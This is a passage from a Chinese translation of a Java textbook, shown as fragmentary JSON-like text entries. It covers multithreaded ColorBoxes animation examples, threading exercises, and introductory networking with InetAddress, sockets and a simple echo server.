ｃａｔｃｈ（ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｏｌｏｒＢｏｘｅｓ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ｐｕｂｌｉｃ ＣｏｌｏｒＢｏｘｅｓ（ｉｎｔ ｐａｕｓｅ， ｉｎｔ ｇｒｉｄ） ｛ ｓｅｔＴｉｔｌｅ（＂ＣｏｌｏｒＢｏｘｅｓ＂）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｇｒｉｄ， ｇｒｉｄ））； ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇｒｉｄ ＊ ｇｒｉｄ； ｉ＋＋） ５３１ ａｄｄ（ｎｅｗ ＣＢｏｘ（ｐａｕｓｅ））； ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｐａｕｓｅ ＝ ５０； ｉｎｔ ｇｒｉｄ ＝ ８； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞ ０） ｐａｕｓｅ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］）； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞ １） ｇｒｉｄ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［１］）； Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＣｏｌｏｒＢｏｘｅｓ（ｐａｕｓｅ， ｇｒｉｄ）； ｆ．ｓｅｔＳｉｚｅ（５００， ４００）； ｆ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ ＣｏｌｏｒＢｏｘｅｓ 是一个典型的应用（程序），有一个构建器用于设置 ＧＵＩ。 这个构建器采用 ｉｎｔ ｇｒｉｄ 的一个参 数，用它设置 ＧｒｉｄＬａｙｏｕｔ（网格布局），使每一维里都有一个 ｇｒｉｄ 单元。"},
    {"text": "记住在实现 Ｒｕｎｎａｂｌｅ 的时候，并没有实际产生一个 Ｔｈｒｅａｄ 对象，只是一个拥有 ｒｕｎ（）方法的类。 因此，我们必须明确地创建一个 Ｔｈｒｅａｄ 对象，并将 Ｒｕｎｎａｂｌｅ 对象传递给构建器，随后调用 ｓｔａｒｔ（）（在构 建器里进行）。"},
    {"text": "由于这种设计方案非常灵活，而且线程处理同每个 Ｃａｎｖａｓ 元素都紧密结合在一起，所以在理论上可以生成任 意多的线程（但在实际应用中，这要受到 ＪＶＭ 能够从容对付的线程数量的限制）。"},
    {"text": "代码经过了重新组织，使一个 Ｖｅｃｔｏｒ 实现了 Ｒｕｎｎａｂｌｅ ，而且那个 Ｖｅｃｔｏｒ 容纳了数量众多的色块，并随机挑选一些进行更新。"},
    {"text": "如下所示： ／／： ＣｏｌｏｒＢｏｘｅｓ２．ｊａｖａ ／／ Ｂａｌａｎｃｉｎｇ ｔｈｒｅａｄ ｕｓｅ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ ＣＢｏｘ２ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｛ ５３２ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ Ｃｏｌｏｒ［］ ｃｏｌｏｒｓ ＝ ｛ Ｃｏｌｏｒ．ｂｌａｃｋ， Ｃｏｌｏｒ．ｂｌｕｅ， Ｃｏｌｏｒ．ｃｙａｎ， Ｃｏｌｏｒ．ｄａｒｋＧｒａｙ， Ｃｏｌｏｒ．ｇｒａｙ， Ｃｏｌｏｒ．ｇｒｅｅｎ， Ｃｏｌｏｒ．ｌｉｇｈｔＧｒａｙ， Ｃｏｌｏｒ．ｍａｇｅｎｔａ， Ｃｏｌｏｒ．ｏｒａｎｇｅ， Ｃｏｌｏｒ．ｐｉｎｋ， Ｃｏｌｏｒ．ｒｅｄ， Ｃｏｌｏｒ．ｗｈｉｔｅ， Ｃｏｌｏｒ．ｙｅｌｌｏｗ ｝； ｐｒｉｖａｔｅ Ｃｏｌｏｒ ｃＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ（）； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ Ｃｏｌｏｒ ｎｅｗＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒｓ［ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ｃｏｌｏｒｓ．ｌｅｎｇｔｈ） ］； ｝ ｖｏｉｄ ｎｅｘｔＣｏｌｏｒ（） ｛ ｃＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ（）； ｒｅｐａｉｎｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃＣｏｌｏｒ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｝ ｝ ｃｌａｓｓ ＣＢｏｘＶｅｃｔｏｒ ｅｘｔｅｎｄｓ Ｖｅｃｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ｒｕｎｎａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｔｈｒｅａｄ ｔ； ｐｒｉｖａｔｅ ｉｎｔ ｐａｕｓｅ； ｐｕｂｌｉｃ ＣＢｏｘＶｅｃｔｏｒ（ｉｎｔ ｐａｕｓｅ） ｛ ｔｈｉｓ．ｐａｕｓｅ ＝ ｐａｕｓｅ； ｔ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｔｈｉｓ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｇｏ（） ｛ ｔ．ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉｎｔ ｉ ＝ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ｓｉｚｅ（））； （（ＣＢｏｘ２）ｅｌｅｍｅｎｔＡｔ（ｉ））．ｎｅｘｔＣｏｌｏｒ（）； ｔｒｙ ｛ ｔ．ｓｌｅｅｐ（ｐａｕｓｅ）； ｝ ｃａｔｃｈ（ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｏｌｏｒＢｏｘｅｓ２ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ｐｒｉｖａｔｅ ＣＢｏｘＶｅｃｔｏｒ［］ ｖ； ｐｕｂｌｉｃ ＣｏｌｏｒＢｏｘｅｓ２（ｉｎｔ ｐａｕｓｅ， ｉｎｔ ｇｒｉｄ） ｛ ｓｅｔＴｉｔｌｅ（＂ＣｏｌｏｒＢｏｘｅｓ２＂）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｇｒｉｄ， ｇｒｉｄ））； ｖ ＝ ｎｅｗ ＣＢｏｘＶｅｃｔｏｒ［ｇｒｉｄ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇｒｉｄ； ｉ＋＋） ｖ［ｉ］ ＝ ｎｅｗ ＣＢｏｘＶｅｃｔｏｒ（ｐａｕｓｅ）； ５３３ ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇｒｉｄ ＊ ｇｒｉｄ； ｉ＋＋） ｛ ｖ［ｉ ％ ｇｒｉｄ］．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ ＣＢｏｘ２（））； ａｄｄ（（ＣＢｏｘ２）ｖ［ｉ ％ ｇｒｉｄ］．ｌａｓｔＥｌｅｍｅｎｔ（））； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇｒｉｄ； ｉ＋＋） ｖ［ｉ］．ｇｏ（）； ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｓｈｏｒｔｅｒ ｄｅｆａｕｌｔ ｐａｕｓｅ ｔｈａｎ ＣｏｌｏｒＢｏｘｅｓ： ｉｎｔ ｐａｕｓｅ ＝ ５； ｉｎｔ ｇｒｉｄ ＝ ８； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞ ０） ｐａｕｓｅ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］）； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞ １） ｇｒｉｄ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［１］）； Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＣｏｌｏｒＢｏｘｅｓ２（ｐａｕｓｅ， ｇｒｉｄ）； ｆ．ｓｅｔＳｉｚｅ（５００， ４００）； ｆ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ 在 ＣｏｌｏｒＢｏｘｅｓ２ 中，我们创建了 ＣＢｏｘＶｅｃｔｏｒ 的一个数组，并对其初始化，使其容下各个 ＣＢｏｘＶｅｃｔｏｒ 网格。"},
    {"text": "这样设计的好处就是 ａｄｄＥｌｅｍｅｎｔ（）和 ｅｌｅｍｅｎｔＡｔ（）方法可以获得特定的参数以及返回值类型，而不是只能获得常规 Ｏｂｊｅｃｔ（它们 的名字也可以变得更短）。"},
    {"text": "和以前一样，在我们实现 Ｒｕｎｎａｂｌｅ 的时候，并没有获得与 Ｔｈｒｅａｄ 配套提供的所有功能，所以必须创建一个 新的 Ｔｈｒｅａｄ，并将自己传递给它的构建器，以便正式“启动”——ｓｔａｒｔ（）——一些东西。"},
    {"text": "因此，线程的处理又多了一项新的 考虑因素：必须随时检查自己有没有“太多的线程”（无论对什么程序和运行平台）。 若线程太多，必须试 着使用上面介绍的技术，对程序中的线程数量进行“平衡”。 如果在一个多线程的程序中遇到了性能上的问 题，那么现在有许多因素需要检查： （１） 对 ｓｌｅｅｐ，ｙｉｅｌｄ（）以及／或者 ｗａｉｔ（）的调用足够多吗？"},
    {"text": "由于根据 Ｊａｖａ 的设计，它允许我们根据需要创建任意 数量的线程——至少理论上如此（例如，假设为一项工程方面的有限元素分析创建数以百万的线程，这对 Ｊａｖａ 来说并非实际）。"},
    {"text": "当然，之所以会出现这种情况，是由于在正在运行的线程 准备进入“休眠”状态之前，较短的延迟可能造成“ｓｌｅｅｐ（）结束”调度机制的中断。"},
    {"text": "此外，我们完全有理由 相信未来版本的 Ｊａｖａ 会提供更好的动画支持——尽管目前的 Ｗｅｂ 涌现出了与传统方式完全不同的非 Ｊａｖａ、 非程序化的许多动画方案。"},
    {"text": "如果想系统学习 Ｊａｖａ 动画的工作原理，可参考《Ｃｏｒｅ Ｊａｖａ——核心 Ｊａｖａ 》一 书，由 Ｃｏｒｎ ｅｌｌ＆Ｈｏｒｓｔｍａｎｎ 编著，Ｐｒｅｎｔｉｃｅ －Ｈａｌｌ 于 １９９７ 年出版。"},
    {"text": "若欲更深入地了解线程处理，请参考 《Ｃｏｎｃｕｒｒｅｎｔ Ｐｒｏｇｒａｍｍｉｎｇ ｉｎ Ｊａｖａ——Ｊａｖａ 中的并发编程》，由 Ｄｏｕｇ Ｌｅａ 编著，Ａｄｄｉｓｏｎ－Ｗｉｓｅｌｅｙ 于 １９９７ 年出版； 或者《Ｊａｖａ Ｔｈｒｅａｄｓ——Ｊａｖａ 线程》，Ｏａｋｓ＆Ｗｏｎｇ 编著，Ｏ＇Ｒｅｉｌｌｙ 于 １９９７ 年出版。"},
    {"text": "创建一个独立的线程类，使它在 ｒｕｎ（）内调用 Ｓｙｓｔｅｍ．ｇｃ（）和 Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚａｔｉｏｎ（）， 并打印一条消息，表明调用成功。"},
    {"text": "（２） 修改 Ｃｏｕｎｔｅｒ２．ｊａｖａ，使线程成为一个内部类，而且不需要明确保存指向 Ｃｏｕｎｔｅｒ２ 的一个。 （３） 修改 Ｓｈａｒｉｎｇ２．ｊａｖａ，在 ＴｗｏＣｏｕｎｔｅｒ 的 ｒｕｎ（）方法内部添加一个 ｓｙｎｃｈｒｏｎｉｚｅｄ（同步）块，而不是同步 整个 ｒｕｎ（）方法。"},
    {"text": "５３５ （４） 创建两个 Ｔｈｒｅａｄ 子类，第一个的 ｒｕｎ（）方法用于最开始的启动，并捕获第二个 Ｔｈｒｅａｄ 对象的句柄，然 后调用 ｗａｉｔ（）。"},
    {"text": "（５） 在 Ｔｉｃｋｅｒ２ 内的 Ｃｏｕｎｔｅｒ５．ｊａｖａ 中，删除 ｙｉｅｌｄ（），并解释一下结果。 用一个 ｓｌｅｅｐ（）换掉ｙｉｅｌｄ（），再 解释一下结果。"},
    {"text": "（６） 在 ＴｈｒｅａｄＧｒｏｕｐ１．ｊａｖａ 中，将对 ｓｙｓ．ｓｕｓｐｅｎｄ（）的调用换成对线程组的一个 ｗａｉｔ（）调用，令其等候２ 秒 钟。"},
    {"text": "１ ５ ． １ 机器的标识 当然，为了分辨来自别处的一台机器，以及为了保证自己连接的是希望的那台机器，必须有一种机制能独一 无二地标识出网络内的每台机器。"},
    {"text": "我自己的域名是 ｂｒｕｃｅｅｃｋｅｌ．ｃｏｍ。 所以假定我在自己的域内有一 台名为 Ｏｐｕｓ 的计算机，它的域名就可以是 Ｏｐｕｓ．ｂｒｕｃｅｅｃｋｅｌ．ｃｏｍ。"},
    {"text": "不管哪种情况，ＩＰ 地址在内部都表达成一个由 ３２ 个二进制位（ｂｉｔ）构成的数字（注释①），所以 ＩＰ 地址 的每一组数字都不能超过 ２５５。"},
    {"text": "利用由 ｊａｖａ．ｎｅｔ 提供的 ｓｔａｔｉｃ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（），我们可以让一个 特定的 Ｊａｖａ 对象表达上述任何一种形式的数字。"},
    {"text": "作为运用 ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（）一个简单的例子，请考虑假设自己有一家拨号连接因特网服务提供者 （ＩＳＰ），那么会发生什么情况。"},
    {"text": "该程序只在 Ｗｉｎｄｏｗｓ ９５ 中进行了测试，但大家可以依次进入自己的“开始”、“设置”、“控制面 板”、“网络”，然后进入“标识”卡片。"},
    {"text": "／／： ＷｈｏＡｍＩ．ｊａｖａ ／／ Ｆｉｎｄｓ ｏｕｔ ｙｏｕｒ ｎｅｔｗｏｒｋ ａｄｄｒｅｓｓ ｗｈｅｎ ｙｏｕ＇ｒｅ ／／ ｃｏｎｎｅｃｔｅｄ ｔｏ ｔｈｅ Ｉｎｔｅｒｎｅｔ． ｐａｃｋａｇｅ ｃ１５； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＷｈｏＡｍＩ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ５３７ ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ！ ＝ １） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ ＂Ｕｓａｇｅ： ＷｈｏＡｍＩ ＭａｃｈｉｎｅＮａｍｅ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ＩｎｅｔＡｄｄｒｅｓｓ ａ ＝ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（ａｒｇｓ［０］）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ａ）；"},
    {"text": "所以一旦连通我的 ＩＳＰ，就象下面这样执行程序： ｊａｖａ ｗｈｏＡｍＩ Ｃｏｌｏｓｓｕｓ 得到的结果象下面这个样子（当然，这个地址可能每次都是不同的）： Ｃｏｌｏｓｓｕｓ／２０２．９８．４１．１５１ 假如我把这个地址告诉一位朋友，他就可以立即登录到我的个人 Ｗｅｂ 服务器，只需指定目标地址 ｈｔｔｐ：／／２０２．９８．４１．１５１ 即可（当然，我此时不能断线）。"},
    {"text": "所以服务器的主要任务是侦听建立连接的请求，这是由我们创建的特定服务器对象完成的。 而客户机的任务 是试着与一台服务器建立连接，这是由我们创建的特定客户机对象完成的。"},
    {"text": "在 Ｊａｖａ 中 产生这个地址最一般的做法是： ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ ＝ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（ｎｕｌｌ）；"},
    {"text": "创建 ＩｎｅｔＡｄｄｒｅｓｓ 的唯一途径 就是那个类的 ｓｔａｔｉｃ（静态）成员方法 ｇｅｔＢｙＮａｍｅ（）（这是最常用的）、ｇｅｔＡｌｌＢｙＮａｍｅ（）或者 ｇｅｔＬｏｃａｌＨｏｓｔ（）。"},
    {"text": "为得到本地主机地址，亦可向其直接传递字串＂ｌｏｃａｌｈｏｓｔ＂： ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（＂ｌｏｃａｌｈｏｓｔ＂）； 或者使用它的保留 ＩＰ 地址（四点形式），就象下面这样： ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（＂１２７．０．０．１＂）；"},
    {"text": "客户程序知 道如何通过机器的 ＩＰ 地址同它连接，但怎样才能同自己真正需要的那种服务连接呢（一般每个端口都运行着 一种服务，一台机器可能提供了多种服务，比如 ＨＴＴＰ 和 ＦＴＰ 等等）？"},
    {"text": "本书的第一个例子将使用端口 ８０８０（为追忆我的第一台机器使用的老式 ８ 位 Ｉｎｔｅｌ ８０８０ 芯 片，那是一部使用 ＣＰ／Ｍ 操作系统的机子）。"},
    {"text": "针对一个特定的连接，每台机器上都有一个“套接字”，可以想象它们之间有一条虚拟的“线缆”。 线缆的 每一端都插入一个“套接字”或者“插座”里。"},
    {"text": "从套接字得到的结果是一个 ＩｎｐｕｔＳｔｒｅａｍ 以 及 ＯｕｔｐｕｔＳｔｒｅａｍ（若使用恰当的转换器，则分别是 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ），以便将连接作为一个 ＩＯ 流对象对 待。"},
    {"text": "一旦客户（程序）申请建立一个套接字连接，ＳｅｒｖｅｒＳｏｃｋｅｔ 就会返回（通过 ａｃｃｅｐｔ（）方 法）一个对应的服务器端套接字，以便进行直接通信。"},
    {"text": "此时可以利用 ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）以及 ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（）从每个套接字产生对应的 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 对象。"},
    {"text": "对于 Ｊａｖａ 库的命名机制，ＳｅｒｖｅｒＳｏｃｋｅｔ（服务器套接字）的使用无疑是容易产生混淆的又一个例证。 大家可 能认为 ＳｅｒｖｅｒＳｏｃｋｅｔ 最好叫作“ＳｅｒｖｅｒＣｏｎｎｅｃｔｏｒ”（服务器连接器），或者其他什么名字，只是不要在其 中安插一个“Ｓｏｃｋｅｔ”。"},
    {"text": "这正是“ＳｅｒｖｅｒＳｏｃｋｅｔ”这个命名 不恰当的地方，因为它的目标不是真的成为一个 Ｓｏｃｋｅｔ，而是在其他人同它连接的时候产生一个 Ｓｏｃｋｅｔ 对 象。"},
    {"text": "但在创建一个 Ｓｏｃｋｅｔ 时，却必须同时赋予 ＩＰ 地址以及要连接的端口编号（另一方面， 从 ＳｅｒｖｅｒＳｏｃｋｅｔ．ａｃｃｅｐｔ（）返回的 Ｓｏｃｋｅｔ 已经包含了所有这些信息）。"},
    {"text": "服务器的全部工作就是等候建立一个连 接，然后用那个连接产生的 Ｓｏｃｋｅｔ 创建一个 ＩｎｐｕｔＳｔｒｅａｍ 以及一个 ＯｕｔｐｕｔＳｔｒｅａｍ。"},
    {"text": "在这之后，它从 ＩｎｐｕｔＳｔｒｅａｍ 读入的所有东西都会反馈给 ＯｕｔｐｕｔＳｔｒｅａｍ，直到接收到行中止（ＥＮＤ）为止，最后关闭连接。"},
    {"text": "服务器与客户机（程序）都使用同样的端口号，而且客户机利用本地主机地址连接位于同一台机器中的服务 ５３９ 器（程序），所以不必在一个物理性的网络里完成测试（在某些配置环境中，可能需要同真正的网络建立连 接，否则程序不能工作——尽管实际并不通过那个网络通信）。"},
    {"text": "下面是服务器程序： ／／： ＪａｂｂｅｒＳｅｒｖｅｒ．ｊａｖａ ／／ Ｖｅｒｙ ｓｉｍｐｌｅ ｓｅｒｖｅｒ ｔｈａｔ ｊｕｓｔ ／／ ｅｃｈｏｅｓ ｗｈａｔｅｖｅｒ ｔｈｅ ｃｌｉｅｎｔ ｓｅｎｄｓ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＪａｂｂｅｒＳｅｒｖｅｒ ｛ ／／ Ｃｈｏｏｓｅ ａ ｐｏｒｔ ｏｕｔｓｉｄｅ ｏｆ ｔｈｅ ｒａｎｇｅ １－１０２４： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＰＯＲＴ ＝ ８０８０； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ＳｅｒｖｅｒＳｏｃｋｅｔ ｓ ＝ ｎｅｗ ＳｅｒｖｅｒＳｏｃｋｅｔ（ＰＯＲＴ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔａｒｔｅｄ： ＂ ＋ ｓ）； ｔｒｙ ｛ ／／ Ｂｌｏｃｋｓ ｕｎｔｉｌ ａ ｃｏｎｎｅｃｔｉｏｎ ｏｃｃｕｒｓ： Ｓｏｃｋｅｔ ｓｏｃｋｅｔ ＝ ｓ．ａｃｃｅｐｔ（）； ｔｒｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｎｎｅｃｔｉｏｎ ａｃｃｅｐｔｅｄ： ＂＋ ｓｏｃｋｅｔ）； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）））； ／／ Ｏｕｔｐｕｔ ｉｓ ａｕｔｏｍａｔｉｃａｌｌｙ ｆｌｕｓｈｅｄ ／／ ｂｙ ＰｒｉｎｔＷｒｉｔｅｒ： ＰｒｉｎｔＷｒｉｔｅｒ ｏｕｔ ＝ ｎｅｗ ＰｒｉｎｔＷｒｉｔｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ（ ｎｅｗ ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（））），ｔｒｕｅ）； ｗｈｉｌｅ （ｔｒｕｅ） ｛ Ｓｔｒｉｎｇ ｓｔｒ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）； ｉｆ （ｓｔｒ．ｅｑｕａｌｓ（＂ＥＮＤ＂）） ｂｒｅａｋ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｃｈｏｉｎｇ： ＂ ＋ ｓｔｒ）； ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｔｒ）； ｝ ／／ Ａｌｗａｙｓ ｃｌｏｓｅ ｔｈｅ ｔｗｏ ｓｏｃｋｅｔｓ．．． ｝ ｆｉｎａｌｌｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃｌｏｓｉｎｇ．．．＂）； ｓｏｃｋｅｔ．ｃｌｏｓｅ（）； ｝ ｝ ｆｉｎａｌｌｙ ｛ ｓ．ｃｌｏｓｅ（）；"},
    {"text": "假如 ＳｅｒｖｅｒＳｏｃｋｅｔ 构建器失败，则程序简单地退出（注意必 须保证 ＳｅｒｖｅｒＳｏｃｋｅｔ 的构建器在失败之后不会留下任何打开的网络套接字）。"},
    {"text": "若 ＳｅｒｖｅｒＳｏｃｋｅｔ 构建器成功执行，则其他所有 方法调用都必须到一个 ｔｒｙ－ｆｉｎａｌｌｙ 代码块里寻求保护，以确保无论块以什么方式留下，ＳｅｒｖｅｒＳｏｃｋｅｔ 都能 正确地关闭。"},
    {"text": "若 ａｃｃｅｐｔ（） 失败，那么我们必须保证 Ｓｏｃｋｅｔ 不再存在或者 含有任何资源，以便不必清除它们。 但假若执行成功，则后续的语句必须进入一个 ｔｒｙ－ｆｉｎａｌｌｙ 块内，以保 障在它们失败的情况下，Ｓｏｃｋｅｔ 仍能得到正确的清除。"},
    {"text": "由于套接字使用了重要的非内存资源，所以在这里必 须特别谨慎，必须自己动手将它们清除（Ｊａｖａ 中没有提供“破坏器”来帮助我们做这件事情）。"},
    {"text": "这样便产生了： ＳｅｒｖｅｒＳｏｃｋｅｔ［ａｄｄｒ＝０．０．０．０，ＰＯＲＴ＝０，ｌｏｃａｌｐｏｒｔ＝８０８０］ Ｓｏｃｋｅｔ［ａｄｄｒ＝１２７．０．０．１，ＰＯＲＴ＝１０７７，ｌｏｃａｌｐｏｒｔ＝８０８０］ 大家不久就会看到它们如何与客户程序做的事情配合。"},
    {"text": "程序的下一部分看来似乎仅仅是打开文件，以便读取和写入，只是 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 是从 Ｓｏｃｋｅｔ 对象创建的。"},
    {"text": "利用两个“转换器”类 ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ 和 ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ ，ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 对象已经分别转换成为 Ｊａｖａ １．１ 的 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ 对象。 也可以直接使用 Ｊａｖａ１．０ 的 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 类，但对输出来说，使用 Ｗｒｉｔｅｒ 方式具有明显的优势。"},
    {"text": "这一优势是通过 ＰｒｉｎｔＷｒｉｔｅｒ 表现出来的，它有一个过载的构建器，能获取第二个参数——一个布尔值标志，指向是否在每 一次 ｐｒｉｎｔｌｎ（）结束的时候自动刷新输出（但不适用于 ｐｒｉｎｔ（）语句）。"},
    {"text": "无限 ｗｈｉｌｅ 循环从 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ 内读取文本行，并将信息写入 Ｓｙｓｔｅｍ．ｏｕｔ，然后写入 ＰｒｉｎｔＷｒｉｔｅｒ．ｏｕｔ。"},
    {"text": "下面是客户程序的源码： ／／： ＪａｂｂｅｒＣｌｉｅｎｔ．ｊａｖａ ／／ Ｖｅｒｙ ｓｉｍｐｌｅ ｃｌｉｅｎｔ ｔｈａｔ ｊｕｓｔ ｓｅｎｄｓ ／／ ｌｉｎｅｓ ｔｏ ｔｈｅ ｓｅｒｖｅｒ ａｎｄ ｒｅａｄｓ ｌｉｎｅｓ ／／ ｔｈａｔ ｔｈｅ ｓｅｒｖｅｒ ｓｅｎｄｓ． ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊；"},
